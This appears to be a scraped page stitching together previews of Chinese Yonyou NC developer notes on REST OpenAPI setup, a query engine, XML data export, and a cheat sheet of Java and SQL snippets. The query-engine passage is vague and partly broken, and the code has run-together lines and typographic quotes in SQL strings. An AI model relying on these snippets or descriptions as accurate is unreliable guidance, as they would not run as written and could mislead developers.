所谓的开放API(OpenAPI)是服务型⽹站常见的⼀种应⽤,⽹站的服务商将⾃⼰的⽹站服务封装成⼀系列API(Application Programming Interface,应⽤编程接⼝)开放出去,供第三⽅开发者使⽤,这种⾏为就叫做开放⽹站的API,所开放的API就被称作OpenAPI(开放API)。

就现在互联⽹上Open API的形态来看,主要分成两种:标准REST和类REST(也可以叫做RPC形态)。

REST形态主要有这么⼏点特点:1.服务地址就是资源定位地址。

2.服务操作就是Http请求中的⽅法类型(GET,POST,DELETE,PUT),这其实是抽象现实当中对于服务的增删改查操作。

UAP实现open apiRestlet项⽬为“建⽴REST概念与Java类之间的映射”提供了⼀个轻量级⽽全⾯的框架。

UAP在Restlet框架之上,选择了官⽅JAX-RS扩展,并且在扩展的基础上与NC进⾏了集成。

主要jar包 modules/uapws/pubuapfw_restframeworkLevel-1.jarNC使⽤Restlet框架需要修改nchome/hotwebs/nccloud/WEB-INF/web.xml⽂件。

增加以下两个配置业务组open api开发步骤1. 创建资源创建资源类xxResource 继承AbstractNCCRestResource通过注解的⽅式开发,restlet通⽤注解包含如下:在ncc中要求rest请求类型只能是post资源创建完成之后即可进⼊添加对应的专属连接器进⾏系统对接。

2. 资源注册和upm⽂件类似,创建的资源需要在配置⽂件中进⾏注册。

注册⽅式:在META-INF下创建.rest⽂件,将创建的资源全限定类名注册到.rest⽂件中。

NC查询引擎使用详解

NC查询引擎使用详解

NC查询引擎使用详解
然后,我们需要执行查询操作。

通过调用NC查询引擎提供的API接口或命令行工具,我们可以执行查询操作。

在执行查询操作时,我们需要将查询规则作为输入参数传入。

查询引擎会根据查询规则进行相应的抓取和,然后返回查询结果。

查询结果可以是文本、图片、音频、视频等不同的格式。

最后,我们可以对查询结果进行处理和展示。

查询结果可能包含大量的数据,我们可以通过数据分析和处理来筛选出需要的数据。

例如,我们可以通过统计分析、关键词提取等方法来提取有用的信息。

然后,我们可以将查询结果进行展示,如生成报告、绘制图表等。

通过对查询结果的处理和展示,我们可以更好地理解和利用这些数据。

总结来说,NC查询引擎是一种非常强大和灵活的数据查询工具。

通过合理设置查询规则,我们可以快速获取所需的数据。

同时,通过对查询结果进行分析和处理,我们可以对数据进行进一步的挖掘和利用。

希望本文对NC查询引擎的使用有所帮助。

用友NC-外部数据交换平台接口描述文档030926

用友NC-外部数据交换平台接口描述文档030926

外部数据交换平台接口描述文档1.XML文件的导出和解析1,把数据包装成XML文件:示例:V oucherBrowseView.java建立输出流out=new PrintWriter(new FileWriter(dir+"/"+filename));输出到文件:象输出普通文本文件一样printxml(out,sep+sep+"<voucher_head>");printxml(out,sep+sep+sep+"<company>"+(headvo.getDwbm()==null?"":headvo.getDwbm() )+"</company>");printxml(out,sep+sep+sep+"<voucher_type>"+(headvo.getLbjc()==null?"":headvo.getLbjc()) +"</voucher_type>");printxml(out,sep+sep+sep+"<fiscal_year>"+(headvo.getKjnd()==null?"":headvo.getKjnd())+ "</fiscal_year>");printxml(out,sep+sep+sep+"<voucher_id>"+(headvo.getKjqj()==null?"":headvo.getKjqj())+"</voucher_id>");printxml(out,sep+sep+sep+"<attachment_number>"+headvo.getFdjs()+"</attachment_numb er>");printxml(out,sep+sep+sep+"<date>"+(headvo.getZdrq()==null?"":headvo.getZdrq())+"</date >");2,发送文档到指定URL地址:a)获得连接public URLConnection getConnection(String url) {//url= ://webserver地址/servlet/nc.bs.pfxx.manualload.ServletForXchange。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

NC开发帮助作者:jieely✧ AAccsubjdoc// 通过系统提供的会计科目接口查询所有会计科目Accsubjdoc itf =(Accsubjdoc) NCLocator.getInstance().lookup(Accsubjdoc.class.getName());nc.vo.bd.b02.AccsubjVO[] targetSubjV os = itf.queryAccsubjVOs(pk_glorgbook, null, false); AccperiodVO//查询会计期间AccperiodVO[] accperiodVOs =(AccperiodVO[]) HYPubBO_Client.queryByCondition(AccperiodVO.class, " nvl(dr,0)=0 "); addBetcha.无参批量更新String sql = "update bd_deptdoc set dept_code =…aaa‟ where dept_code=…bbb‟"; session.addBatch(sql); //添加需要执行的同构SQLint rows = session.executeBatch(); //执行b.有参批量更新String sql = "update bd_deptdoc set dept_code =…aaa‟ where dept_code=?”; SQLParameter param = new SQLParameter(); //构造参数对象param.addParam(“bbb”); //添加参数session.addBatch(sql, param); //添加需要执行的同构SQLint rows = session.executeBatch(); //执行afterEdit@Override//表的编辑后赋默认值方法(UI类重写方法)*先执行afterEdit,后执行公式* public void afterEdit(BillEditEvent event){super.afterEdit(event);if(event.getKey().equals("zd")){t his.getBillCardPanel().execHeadEditFormulas();}else if (event.getTableCode().equals("st_xx_jyzy") &&event.getKey().equals("code")){t his.getBillCardPanel().setBodyValueAt(new UFBoolean('N'), event.getRow(), "jyzt");t his.getBillCardPanel().setBodyValueAt(new UFBoolean('Y'), event.getRow(), "zyzt");}}ALTER//增加字段ALTER TABLE tablea ADD newcol char(20)//更改字段名ALTER TABLE tablea CHANGE newcol newrow char(50)//更改字段类型ALTER TABLE tablea MODIFY newrow char(30)//删除字段ALTER TABLE tablea DROP newrowArrayListArrayList list = new ArrayList();…..list.add();SettleVO[] vos = new SettleVO[list.size()];vos = list.toArray(vos);//List与VO数组转换✧ BBillCode//得到单据号BillcodeGenerater billNoGen = new BillcodeGenerater();billno = billNoGen.getBillCode("TI55", "0001", null, null);BillDataBillData bd = getBillCardPanel().getBillData();BillItem item = bd.getBodyItem(_TABLECODE1, "ialloctype");BillField@Override//修改单据状态时需重写此方法protected IBillField createBillField(){return BillField.getInstance();}Button//自定义按钮public ButtonVO getFujian_btn(){ButtonVO btnVO = new ButtonVO();btnVO.setBtnNo( IprivateButton.Fujian_btn );btnVO.setBtnName( "附件管理" );btnVO.setHintStr( "附件管理" );btnVO.setOperateStatus( new int[]{IBillOperate.OP_NOTEDIT} ); // 在非新增和非编辑状态下可用return btnVO;}//在UI中设置按钮状态getButtonManager().getButton(nc.ui.trade.button.IBillButton.Add).setEnabled(false);Byte[]public static final byte[] m_ENTER = {0x0d, 0x0a};//换行符 ASCII码: 0x0d 0x0a ✧ CCaseWhenORACLE: Case…..When 语句SELECT(CASE dr WHEN0THEN'有效'WHEN1THEN'无效'END) AS显示FROM bd_corptry{}catch(DbException e){//如果是语法错误if(e.isBadSQLGrammar()){Logger.error("语法错误:"+e.getMessage(),e);}//如果是数据一致性错误if(e.isDataIntegrityViolation()){Logger.error("数据一致性错误:"+e.getMessage(),e);}}CheckRule<前台校验类> XXX UICheckRule//校验数据是否重复public IUniqueRule[] getItemUniqueRules(String tablecode) { if( "cl_gg_ytzwlb".equals( tablecode ) ){IUniqueRule[] unique = null;unique = new IUniqueRule[]{new UniqueRule("座类编码不能重复",newString[]{("zlbm")})};return unique;}return null;}//校验是否为空public ICheckRule[] getItemCheckRules(String tablecode) { CheckRule[] rules = new CheckRule[] {new CheckRule("【NC结算方式编码】", "ncsettlecode", false, null, null)};return rules;}checkPrerequisite//对于控制集团不能打开节点,只有公司可以打开节点的处理//在ClientUI中覆写Toftpanel的方法:public String checkPrerequisite(){String pk_corp = _getCorp().getPk_corp();if (pk_corp.equals("0001")) {return "当前处于集团,此功能点无法进入";}return null;}ClientEnvironmentColumn//单据模板获得jtable可通过getBillCardPanel().getBillTable()//获取列表模型 TableColumnModel tcm=table.getColumnMode();//第n列设置为隐藏TableColumn hideColumn = table.getColumn("第n列");//隐藏第n列设置tcm.removeColumn(hideColumn);//显示第n列设置tcm.addColumn(hideColumn);//把i列移动到第j列tcm.moveColumn(i, j);getBillCardPanel().getBodyPanel().hideTableCol(strKey);//隐藏getBillCardPanel().getBodyPanel().showTableCol(strKey);//显示ComboBoxUIComboBox typeCom = (UIComboBox) this.getBillCardPanel().getBodyItem("x").getComponent();typeCom.addItems(Object[] obj);ConnectionPersistenceManager sessionManager = PersistenceManager.getInstance(); JdbcSession session = sessionManager.getJdbcSession();Connection con = session.getConnection();PreparedStatement stmt = null;stmt = con.prepareStatement(con, sql);finally{stmt.close();con.close();sessionManager.release();}ConnectException//启动NC时抛异常.ConnectException: Connection refused: connect原因:80端口被占用ConditionVO//取查询对话框VO值ConditionVO[] conVOs = getQueryDLG().getConditionVO();for (int i = 0; i < conVOs.length; i++){if ("billdate".equals(conVOs[i].getFieldCode())){billdate = conVOs[i].getValue();}else if(){……}}Coperatorid//操作员所对应业务员cworkpsnid->getColValue(bd_psndoc,pk_psndoc,pk_psnbasdoc,getColValue( sm_userandclerk,pk_psndoc,userid,coperatorid))createQueryDLG()/**<UI类--查询对话框>*重写父类方法,取得查询对话框,如有动态显示下拉框和默认值需重写此方法*/protected QueryDLG createQueryDLG() {FundReportDLG dlg = new FundReportDLG();dlg.setTempletID(getUIControl()._getPk_corp(),this.getModuleCode(),getUIControl()._getOperator(),null);//设置默认日期QueryConditionVO[] qryvos = dlg.getConditionDatas();for(int i=0;i<qryvos.length;i++) {if(qryvos[i].getFieldCode().equals("billdate")){ qryvos[i].setValue(getClientEnvironment().getDate().toString());break;}}return dlg;}CARDPANELif(clientUI.isListPanelSelected())//如果是选取的列表界面clientUI.setCurrentPanel(BillTemplateWrapper.CARDPANEL);Controlcontrol userpasswords2 //运行【用户帐户】Custflag说明:0客户1供应商2既是客户又是供应商3既是供应商又是客户✧ DDapCallnc.ui.pf.pub.DapCallgetPkcorp()//取公司getOperator()//取操作员dataNotNullValidate// 验证不能为空的字段getBillCardPanelWrapper().getBillCardPanel().dataNotNullValidate();dataSourceString dataSource = DataSourceCenter.getInstance().getSourceName();//取当前数据源DateUFDate date = ClientEnvironment.getInstance().getDate();//得到登陆日期select to_char(last_day(to_date('20100625','yyyymmdd')),'dd') from dual;//得到每月多少天 DateFormatpublic class DateTest {public static void main(String[] args) {String dates = "2007-8-14";//日期时间DateFormat df = new SimpleDateFormat("yy-MM-dd");//日期格式化辅助类Date d;try {d = df.parse(dates);//格式化日期if (d.getDay() == 0 || d.getDay() == 6)//判断是不是双休日System.out.println("日期:[" + dates + "] 是双休日");elseSystem.out.println("日期:[" + dates + "] 不是双休日");} catch (ParseException e) {e.printStackTrace();}}}dataNotNullValidatepublic void onBoSave() throws Exception {getBillCardPanelWrapper().getBillCardPanel().getBillData().dataNotNullValidate ();//UAP模板设置必输项boolean flag = true;try{super.onBoSave();}catch (IllegalArgumentException e){(e);flag = false;}catch (Exception e){if(flag)this.getSelfUI().showErrorMessage("【资产名称】已存在,请检查");return ;}super.onBoRefresh();}DecodeDECODE的语法:DECODE(value,if1,then1,if2,then2,if3,then3,...,else)表示如果value等于if1时,DECODE函数的结果返回then1,...,如果不等于任何一个if值,则返回else。

相关文档
最新文档